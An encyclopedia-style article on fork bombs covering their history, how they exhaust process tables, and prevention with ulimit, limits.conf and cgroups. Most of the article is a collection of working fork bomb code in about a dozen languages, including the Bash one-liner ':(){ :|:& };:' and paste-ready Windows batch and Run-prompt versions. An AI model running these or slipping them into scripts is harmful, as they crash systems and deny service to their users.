Fork Bomb

Incomputing, a fork bomb (also called rabbit virus or wabbit ) is a denial-of-service attack wherein aprocess continually replicates itself to deplete available system resources, slowing down or crashing the system due toresource starvation.

History [ edit ]

Around 1978, an early variant of a fork bomb called wabbit was reported to run on aSystem/360. It may have descended from a similar attack called RABBITS reported from 1969 on aBurroughs 5500 at the University of Washington .

Implementation [ edit ]

Fork bombs operate both by consuming CPU time in the process offorking, and by saturating theoperating system's process table.A basic implementation of a fork bomb is aninfinite loop that repeatedly launches new copies of itself.

InUnix-like operating systems, fork bombs are generally written to use the forksystem call.As forked processes are also copies of the first program, once they resume execution from the next address at theframe pointer, they continue forking endlessly within their own copy of the same infinite loop; this has the effect of causing anexponential growth in processes. As modern Unix systems generally use acopy-on-write resource management technique when forking new processes,a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs [ edit ]

Assembly (Linux running onIA-32) [ edit ]

section .text
    global _start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

Bash [ edit ]

InBash, a fork bomb can be performed by declaring and calling a multiple-recursive function :

bomb(){
  bomb | bomb & 
}
bomb

Additionally, one of the most famous and commonly cited examples of a fork bomb is this dense one-line Bash command:

:(){ :|:& };:

This command is anobfuscated version of the above. The trick here is that : is used as a function name, which is possible because thecolon is not a reserved character in Bash as it is in most other languages. Otherwise, it is identical.

WithUnicode support, it can similarly be rendered as:

:bomb:(){ :bomb:|:bomb:& };:bomb:

C [ edit ]

#include <sys/types.h>
#include <unistd.h>

int main()
{
    while (1)
    {
      fork();
    }
    return 0;
}

Java [ edit ]

public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

JavaScript [ edit ]

(f => f(f))(async f => f(f) && f(f));

(ᱹ => ᱹ(ᱹ))(async ᱹ => ᱹ(ᱹ) && ᱹ(ᱹ));

Lua [ edit ]

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

Perl [ edit ]

An inline shell example using thePerl interpreter:

perl -e "fork while fork" &

PowerShell [ edit ]

while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

Python [ edit ]

import os
while True:
    os.fork()

Ruby [ edit ]

fork while true

Rust [ edit ]

#[allow(non_camel_case_types)]
type pid_t = i32;

extern "C" {
    fn fork() -> pid_t;
}

fn main() {
    loop {
        unsafe { fork(); }
    }
}

Shell script [ edit ]

Here's an example in which a shell script is told to run two instances of $0 ― $0 is ashell variable returning the name of the script itself ― and pipe the output of one through the other, which results in exponentially replicating processes.

#!/bin/sh
./$0|./$0&

A simpler way is to just run ./$0& twice:

#!/bin/sh
./$0&
./$0&

Windowsbatch [ edit ]

:ForkBomb
 start
 goto ForkBomb

The same as above, but shorter:

 %0 | %0

The same as above, but done in command line using ^ to escape specials:

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

Condensed version designed to be run directly from the Run... prompt:

cmd /k echo -^|->-.bat&-

Prevention [ edit ]

As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.OnPAM-enabled systems, this limit can also be set in /etc/security/limits.conf ,and on FreeBSD, the system administrator can put limits in /etc/login.conf .The modern Linux systems also allow finer-grained fork bomb prevention throughcgroups and PID controller.

See also [ edit ]